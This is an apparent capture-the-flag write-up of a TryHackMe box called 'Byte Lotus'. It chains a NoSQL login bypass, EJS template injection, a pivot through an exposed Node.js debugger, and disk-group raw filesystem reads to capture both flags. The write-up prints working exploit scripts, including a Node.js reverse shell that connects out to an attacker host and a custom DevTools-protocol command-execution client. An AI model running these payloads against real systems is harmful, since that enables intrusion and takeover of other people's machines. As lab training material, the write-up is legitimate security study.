Writeup on THM Holiday Hack 2026:
Day 7 - boot2root / Do Not Disturb

Author: Hubert Feyrer / hubertf, 2026-08-02


"Byte Lotus" is a poolside booking portal: a Node.js/Express front end on port 80, a MongoDB-style document store behind it, and an OpenSSH service on 22. The box is a TryHackMe machine reached over the VPN at 10.114.165.140. Getting in is a chain of four independent flaws: a NoSQL authentication bypass, a Server-Side Template Injection (SSTI) in an EJS "confirmation template" field, a pivot through a Node.js debugger that a second service left listening, and finally a disk-group membership that hands out the raw root filesystem. No password is ever cracked.

Challenge description

Concierge Briefing
Sign's on the door. Room's active. You have access you were never given, and so does he.

The anomalies stop being anomalies: a session goes warm on a sunbed, and a stranger sits down in it, a wallet signs a transaction its owner didn't authorise, a shell on the beach answers back. And it becomes clear that whoever's already inside has been moving for far longer than you have.

The Byte Lotus poolside platform tracks every cabana, every sunbed, every warm session. Byte Lotus never forgets. Someone is already inside. Follow his footprints in, climb the way he climbed, and recover both flags.

1. Download

None. This is a boot2root box; there is no downloadable handout. Everything below is pulled from the remote target itself.

2. Docker/nc - what we get

A single TryHackMe VM behind the VPN at 10.114.165.140. A full-port service scan shows only SSH and the web app:

$ nmap -T5 -p- -sV 10.114.165.140
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
                           (Ubuntu Linux; protocol 2.0)
80/tcp    open     http    Node.js (Express middleware)

A directory brute force against port 80 finds two application routes beyond the landing page - a session /logout and a /staff area that answers 403:

$ dirb http://10.114.165.140/ .../common.txt
---- Scanning URL: http://10.114.165.140/ ----
+ http://10.114.165.140/logout (CODE:302|SIZE:23)
+ http://10.114.165.140/staff  (CODE:403|SIZE:1547)

Conclusion: two open ports, no low-hanging service. The 403 on /staff (as opposed to a 404) says the route exists and is role-gated - the app has user roles, so the way in is the login form.

3. Analysis steps

3.1 The login form (success)

The landing page is a normal HTML form that POSTs to /login. Before attacking it, read the field names off the page.

Byte Lotus poolside landing page with a Staff / Guest ID and Passphrase login form

The Byte Lotus landing page: a plain POST form with fields username and password.

$ curl -s http://10.114.165.140/
      <form method="post" action="/login">
        <label>Staff / Guest ID</label>
        <input name="username" autocomplete="off" placeholder="attendant">
        <label>Passphrase</label>
        <input name="password" type="password" autocomplete="off">
        <button type="submit">Sign in</button>
      </form>

Conclusion: a form-urlencoded POST with fields username and password. The placeholder attendant and the label "Staff / Guest ID" hint at named accounts and roles.

3.2 SQL injection - a dead end (failed)

A login form is the classic place for SQL injection, so try the obvious auth-bypass payloads first, then let sqlmap confirm.

$ # tried in the form:
foo' or 1==1; --
foo' or 1=1; --

$ sqlmap -u http://10.114.165.140/login --data='username=foo&password=bar' --ignore-code=401
[*] neither 'username' nor 'password' seems to be injectable

Conclusion: not SQL. Note the --ignore-code=401: the endpoint answers 401 on a failed login, which sqlmap otherwise treats as "cannot reach target" and aborts before testing anything. With SQL ruled out and an Express front end, the likely back end is MongoDB - which means the injection to try is NoSQL, not SQL.

3.3 NoSQL authentication bypass (success)

Express with urlencoded({ extended: true }) turns bracketed keys into nested objects: password[$ne]=x arrives as { password: { $ne: "x" } }. If that reaches the query builder unfiltered, the login stops asking "is the password x" and starts asking "is the password anything other than x" - which is true for every account. The username is pinned to attendant on purpose: a bare username[$ne] too would log us in as whichever document the store returns first (the guest account, role guest, still 403 on /staff). Pinning the name selects the staff account explicitly.

$ curl -i -L -c staff.jar \
       --data 'username=attendant&password[$ne]=x' \
       http://10.114.165.140/login
    <p class="sub">Signed in as <strong>attendant</strong>. Customise the guest
    booking-confirmation message below.</p>
    ...
        <textarea name="template">Dear <%= guest %>, your Byte Lotus cabana is confirmed.</textarea>

Conclusion: we are authenticated as attendant with the staff role, and the staff.jar cookie jar holds a valid connect.sid session. The staff page is a "confirmation template" editor - and it advertises EJS.

3.4 EJS Server-Side Template Injection (success)

The staff console renders a user-supplied EJS (Embedded JavaScript) template. EJS does not interpret templates, it compiles them to a JavaScript function and calls it - so if we control the template rather than only the data fed into it, we control code. The canonical probe is arithmetic: if 7*7 renders as 49, it is evaluated, not echoed.

Staff Cabana Desk console with an EJS confirmation-template textarea and a rendered preview

The staff "Cabana Desk": whatever goes in the template field is rendered server-side.

$ curl -s -b staff.jar \
       --data-urlencode 'template=<%= 7*7 %>' \
       http://10.114.165.140/staff/preview
      <label style="margin-top:18px">Preview</label><pre>49</pre>

Conclusion: 49. Full server-side JavaScript execution in the Node process. --data-urlencode is required so the % and = in the payload are not mangled by the body parser.

3.5 Reading the source through the template (success)

Before firing a shell, read the app's own source to understand the login and the environment. In the EJS scope require is not a global (it is module-local), so reach modules through process.mainModule.require.

$ # template: <%= process.mainModule.require("fs").readdirSync(".") %>
app.js,node_modules,package-lock.json,package.json

$ # template: <%= process.mainModule.require("fs").readFileSync("app.js","utf8") %>
const Datastore = require('@seald-io/nedb');
...
app.use(express.urlencoded({ extended: true }));
app.use(session({ secret: 'byte-lotus-poolside', ... }));

async function seed() {
  await db.insertAsync([
    { username: 'guest',     password: 'sunshine', role: 'guest' },
    { username: 'attendant', password: crypto.randomBytes(18).toString('hex'), role: 'staff' },
  ]);
}
                                    /* [ ... themed HTML view helpers omitted ... ] */
async function loginHandler(req, res) {
  const username = req.body.username;
  const password = req.body.password;
  user = await db.findOneAsync({ username, password });   // <- unfiltered objects
  ...
}
function requireStaff(req, res, next) {
  if (req.session.user && req.session.user.role === 'staff') return next();
  return res.status(403).send(page('<h1>403</h1> ... Staff access only.'));
}
app.post('/staff/preview', requireStaff, (req, res) => {
  rendered = ejs.render(req.body.template, { guest: req.session.user.username, ... });
});

Conclusion: the store is @seald-io/nedb (an in-memory Mongo-like document store), which is exactly why 3.3 worked - findOneAsync({ username, password }) takes the raw request objects. The attendant password is 18 random bytes and the database is re-seeded in memory on every boot, so there is nothing to crack here. The way forward is code execution, not credential theft.

3.6 From template to a shell as poolside (success)

child_process via the same process.mainModule.require path gives command execution. Confirm the identity, then upgrade to a proper reverse shell.

$ # template: <%= process.mainModule.require("child_process").execSync("id") %>
uid=996(poolside) gid=996(poolside) groups=996(poolside)

A reverse shell then comes from a Node.js payload (via revshells.com), with the same process.mainModule fix so require resolves - see revsh.sh in section 4. Catch it and upgrade the TTY:

$ ncat -l -p 9898
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
$ export TERM=vt220
poolside@tryhackme-2404:/opt/poolside$ cat /home/poolside/user.txt
THM{w4rm_s3ss10n_h1j4ck3d}

Conclusion: interactive shell as the unprivileged service account poolside, and the user flag. poolside has no sudo rights, no interesting SUID binary and no useful group - the next move has to come from something the machine is running.

3.7 Enumeration - the debugger next door (success)

Look at the process list for anything privileged or unusual, and at listening sockets.

$ ps -ef | grep -v '\['
UID          PID  ... CMD
root         590  ... /usr/sbin/cron -f -P
pipelin+     597  ... /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside     600  ... /usr/bin/node app.js

$ ss -ltnp
LISTEN  127.0.0.1:9229          # node inspector, owned by pid 597
LISTEN  0.0.0.0:80              # our app (pid 600, poolside)
LISTEN  0.0.0.0:22

Conclusion: a second Node process, processor.js, runs as a different user pipelinesvc and was started with --inspect=127.0.0.1:9229 - it left the V8 debugger listening. The box name "Do Not Disturb" is the hint: anyone who can reach that inspector runs code inside that process. It is bound to localhost, but we are already on localhost.

3.8 Pivot through the Node inspector to pipelinesvc (success)

The inspector speaks the Chrome DevTools Protocol (CDP) over a WebSocket. Its HTTP endpoint hands out the WebSocket URL; a Runtime.evaluate call then runs JavaScript - and therefore child_process - in processor.js's context, i.e. as pipelinesvc.

$ curl -s http://127.0.0.1:9229/json
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/9032251c-5749-497c-afa3-0c526a74b53b",
  "url": "file:///opt/pipelinesvc/telemetry/processor.js"

A small stdlib-only CDP client (cdp-exec.py, section 4) connects to that WebSocket and evaluates process.mainModule.require('child_process').execSync(cmd). Driven through the poolside shell it becomes a one-liner, pcmd.sh:

$ ./pcmd.sh id
uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)

Conclusion: code execution as pipelinesvc - and the prize is the group list: 6(disk).

3.9 disk group -> raw filesystem -> root (success)

Membership in disk grants read/write on the raw block devices, which sidesteps file permissions entirely: read any file straight off the partition with debugfs. First locate the root device, then read the flag.

$ ./pcmd.sh 'mount | grep " / "; ls -l /dev/nvme0n1p1; which debugfs'
/dev/nvme0n1p1 on / type ext4 (rw,relatime,discard)
brw-rw---- 1 root disk 259, 2 /dev/nvme0n1p1        # root:disk, group-writable
/usr/sbin/debugfs

$ ./pcmd.sh '/usr/sbin/debugfs -R "cat /root/root.txt" /dev/nvme0n1p1 2>/dev/null'
THM{r4w_d1sk_4cc3ss_w4s_t00_much}
THM{r4w_d1sk_4cc3ss_w4s_t00_much}

Conclusion: the root filesystem is an ext4 partition owned root:disk with group read/write, and pipelinesvc is in disk. debugfs reads /root/root.txt directly off the device - no root shell required, exactly as the flag text says.

4. Solution

The four helper scripts, as they actually ran.

rcmd2.sh - run one command as poolside through the EJS SSTI, base64-wrapped so quotes survive:

#!/bin/sh
IP=10.114.165.140
CMD='echo '$(echo "$*" | base64 )' | base64 -d | sh'

curl -s -b staff.jar http://${IP}/staff/preview   --data-urlencode \
  'template=<%= process.mainModule.require("child_process").execSync("'"$CMD"'") %>' \
| sed -n -e '/label style="margin-top:18px">Preview<\/label><pre>/,9999p' \
| sed 's,^.*label.*style.*margin-top.*Preview.*label.*pre.,,' \
| tail -r | tail -n +3 | tail -r

revsh.sh - the reverse shell payload (Node.js), with process.mainModule so require resolves:

#!/bin/sh
# via https://www.revshells.com -> node.js #2
IP=10.114.165.140
curl -s -b staff.jar http://${IP}/staff/preview   --data-urlencode \
'template=<%= (function(){
    var mod = process.mainModule,
        net = mod.require("net"),
        cp  = mod.require("child_process"),
        sh  = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(9898, "192.168.128.17", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})(); %>'

cdp-exec.py - a dependency-free Chrome DevTools Protocol client; reads a shell command on stdin, runs it inside processor.js as pipelinesvc, prints the output:

import socket,base64,os,json,struct,sys
H='127.0.0.1';P=9229;PATH='/9032251c-5749-497c-afa3-0c526a74b53b'
cmd=sys.stdin.read()
key=base64.b64encode(os.urandom(16)).decode()
req=("GET %s HTTP/1.1\r\nHost: %s:%d\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"
     "Sec-WebSocket-Key: %s\r\nSec-WebSocket-Version: 13\r\n\r\n"%(PATH,H,P,key))
s=socket.create_connection((H,P)); s.sendall(req.encode())
r=b''
while b'\r\n\r\n' not in r: r+=s.recv(1)
def send(o):
 d=json.dumps(o).encode();m=os.urandom(4);h=bytearray([0x81]);l=len(d)
 if l<126:h.append(0x80|l)
 elif l<65536:h.append(0x80|126);h+=struct.pack('>H',l)
 else:h.append(0x80|127);h+=struct.pack('>Q',l)
 h+=m;s.sendall(bytes(h)+bytes(b^m[i%4] for i,b in enumerate(d)))
def recv():
 b1=s.recv(1)[0];b2=s.recv(1)[0];l=b2&0x7f
 if l==126:l=struct.unpack('>H',s.recv(2))[0]
 elif l==127:l=struct.unpack('>Q',s.recv(8))[0]
 dd=b''
 while len(dd)<l:dd+=s.recv(l-len(dd))
 return dd
expr=("(function(){var cp=process.mainModule.require('child_process');"
      "try{return cp.execSync(%s+' 2>&1',{encoding:'utf8'})}"
      "catch(e){return String(e.stdout||'')+String(e.message||e)}})()"%json.dumps(cmd))
send({"id":1,"method":"Runtime.evaluate","params":{"expression":expr,"returnByValue":True}})
while True:
 msg=json.loads(recv())
 if msg.get('id')==1:
  print(msg.get('result',{}).get('result',{}).get('value',json.dumps(msg))); break

pcmd.sh - glue: base64 a command, feed it through the poolside SSTI into the CDP client, run it as pipelinesvc:

#!/bin/sh
# pcmd CMD...  - run a command as pipelinesvc via the node --inspect debugger
C=$(printf '%s' "$*" | base64 | tr -d '\n')
./rcmd2.sh "echo $C | base64 -d | python3 /tmp/cdp-exec.py"

5. Run it

$ # 1) NoSQL bypass -> staff session
$ curl -s -c staff.jar --data 'username=attendant&password[$ne]=x' http://10.114.165.140/login >/dev/null

$ # 2) EJS SSTI -> code execution as poolside
$ ./rcmd2.sh id
uid=996(poolside) gid=996(poolside) groups=996(poolside)

$ # 3) reverse shell + user flag
poolside@tryhackme-2404:~$ cat /home/poolside/user.txt
THM{w4rm_s3ss10n_h1j4ck3d}

$ # 4) pivot through the Node inspector to pipelinesvc
$ ./pcmd.sh id
uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)

$ # 5) disk group -> debugfs -> root flag
$ ./pcmd.sh '/usr/sbin/debugfs -R "cat /root/root.txt" /dev/nvme0n1p1 2>/dev/null'
THM{r4w_d1sk_4cc3ss_w4s_t00_much}

6. Summary of how the exploit works

#StageMechanism
1NoSQL auth bypass Express extended body parsing turns password[$ne]=x into { $ne: "x" }; NeDB's findOneAsync takes it unfiltered, so any password matches. Username pinned to attendant to land the staff role.
2EJS SSTI The staff "confirmation template" is rendered with ejs.render(userInput). A template is compiled to JS, so <%= 7*7 %> proves execution and process.mainModule.require("child_process") gives RCE as poolside (user flag).
3Inspector pivot A second service, processor.js, runs as pipelinesvc with --inspect=127.0.0.1:9229. A CDP Runtime.evaluate over the debugger WebSocket runs code as pipelinesvc.
4disk group -> root pipelinesvc is in group disk, which can read the raw /dev/nvme0n1p1 ext4 partition. debugfs -R "cat /root/root.txt" reads the root flag off the device without ever being root.